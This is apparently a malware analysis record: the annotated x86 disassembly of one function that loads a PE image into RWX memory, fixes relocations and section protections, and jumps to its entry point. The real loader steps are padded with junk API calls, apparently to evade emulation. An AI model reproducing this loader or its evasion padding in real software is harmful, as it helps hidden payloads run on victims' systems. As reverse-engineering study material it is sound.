Function at 0x405161
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebx + 0x20], eax
mov eax, dword [ebp + 0xc]
xor esi, esi
push str.kernel32.dll
mov dword [ebx], esi
mov dword [ebx + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp + 0xc], eax
mov eax, dword [ebx + 0x20]
mov ecx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], cx
je 0x4051f0
push 2
push esi
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push esi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 7
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindowUnicode]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 4
push esi
call edi
mov dword [ebx], esi
jmp 0x40554d
add eax, dword [eax + 0x3c]
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
je 0x405205
call fcn.0040108e
jmp 0x4051e9
push 0x40
push 0x1000
push dword [eax + 0x50]
push dword [eax + 0x34]
lea eax, [ebp + 8]
push eax
call fcn.004048d7
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebx + 0xc], eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
call edi
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
call dword [sym.imp.USER32.dll_GetCursor]
push esi
push esi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 5
call dword [sym.imp.USER32.dll_GetSysColor]
cmp dword [ebx + 0xc], esi
jne 0x4052ca
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x1c], eax
call edi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
test eax, eax
je 0x405294
push 1
push esi
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x1c]
call edi
mov eax, dword [ebx + 8]
push 0x40
push 0x2000
push dword [eax + 0x50]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
cmp eax, esi
jne 0x4052ca
push esi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4051e9
lea edi, [ebp + 8]
call fcn.0040497e
push 0x14
push esi
push dword [ebp + 8]
lea esi, [ebp + 8]
call fcn.004049ad
mov eax, dword [ebp + 8]
mov ecx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], ecx
mov eax, dword [ebx + 0x24]
xor ecx, ecx
cmp eax, ecx
je 0x4052f9
mov edx, dword [ebx + 0xc]
mov dword [eax], edx
mov eax, dword [ebx]
mov dword [eax + 0xc], ecx
mov eax, dword [ebx]
mov dword [eax + 8], ecx
mov eax, dword [ebx]
push 0x40
mov dword [eax + 0x10], ecx
mov eax, dword [ebx + 8]
mov esi, 0x1000
push esi
push dword [eax + 0x50]
lea edi, [ebp + 8]
push dword [ebx + 0xc]
call fcn.004049cc
mov eax, dword [ebp + 8]
push 0x40
mov dword [ebx + 0x10], eax
mov eax, dword [ebx + 8]
push esi
push dword [eax + 0x54]
lea esi, [ebp + 8]
push dword [ebx + 0xc]
call fcn.00404a65
mov ecx, dword [ebp + 8]
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], ecx
mov esi, dword [eax + 0x3c]
add esi, dword [edx + 0x54]
push esi
push eax
push ecx
call fcn.0040a5e0
mov eax, dword [ebx + 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebx + 0x10]
mov ecx, dword [ebx]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax]
mov ecx, dword [ebx + 0xc]
add esp, 0xc
mov dword [eax + 0x34], ecx
push dword [ebx]
lea eax, [ebp + 0xb]
push dword [ebx + 8]
push dword [ebx + 0x20]
push eax
call fcn.00404d59
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x405397
push eax
mov eax, dword [ebx]
call fcn.0040485c
pop ecx
mov ecx, dword [ebx]
call fcn.00404e65
test eax, eax
jne 0x4053bc
fld qword [0x41a780]
push ecx
push ecx
fstp qword [esp]
call fcn.0040b7e0
fstp st(0)
add esp, 8
jmp 0x405532
push str.VirtualProtect
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
lea ecx, [ecx + eax + 0x3c]
cmp dx, word [eax + 6]
jae 0x405497
mov dword [ebp + 0xc], ecx
mov edi, dword [ecx]
mov dword [ebp + 8], edi
mov esi, edi
mov edx, dword [ebp + 8]
shr edi, 0x1d
shr esi, 0x1e
shr edx, 0x1f
and edi, 1
and esi, 1
test dword [ebp + 8], 0x2000000
mov dword [ebp - 0xc], edx
je 0x405429
push 0x4000
push dword [ecx - 0x14]
lea edi, [ebp - 0x14]
push dword [ecx - 0x1c]
call fcn.00404a97
jmp 0x405479
test dword [ebp + 8], 0x4000000
lea edx, [esi + edi*2]
mov esi, dword [ebp - 0xc]
lea edx, [esi + edx*2]
mov esi, dword [edx*4 + 0x424138]
je 0x405448
or esi, 0x200
mov edx, dword [ecx - 0x14]
test edx, edx
jne 0x405467
test byte [ebp + 8], 0x40
je 0x40545a
mov edx, dword [eax + 0x20]
jmp 0x405463
test byte [ebp + 8], 0x80
je 0x40547c
mov edx, dword [eax + 0x24]
test edx, edx
je 0x40547c
cmp dword [ebp - 8], 0
je 0x40547c
lea eax, [ebp - 0x18]
push eax
push esi
push edx
push dword [ecx - 0x1c]
call dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
movzx edx, word [eax + 6]
inc dword [ebp - 4]
add ecx, 0x28
mov dword [ebp + 0xc], ecx
cmp dword [ebp - 4], edx
jl 0x4053ef
mov eax, dword [ebx]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40554d
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
jne 0x40551f
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindowUnicode]
push 0x338e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor esi, esi
push esi
call dword [sym.imp.GDI32.dll_GetStockObject]
push 9
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push esi
push esi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push esi
push esi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push esi
push esi
push 1
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x405534
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x405544
call fcn.00404705
xor esi, esi
call fcn.0040473a
push esi
mov dword [ebx], esi
call fcn.00404c2d
pop ecx
jmp 0x40554d
mov eax, dword [ebx]
mov dword [eax + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8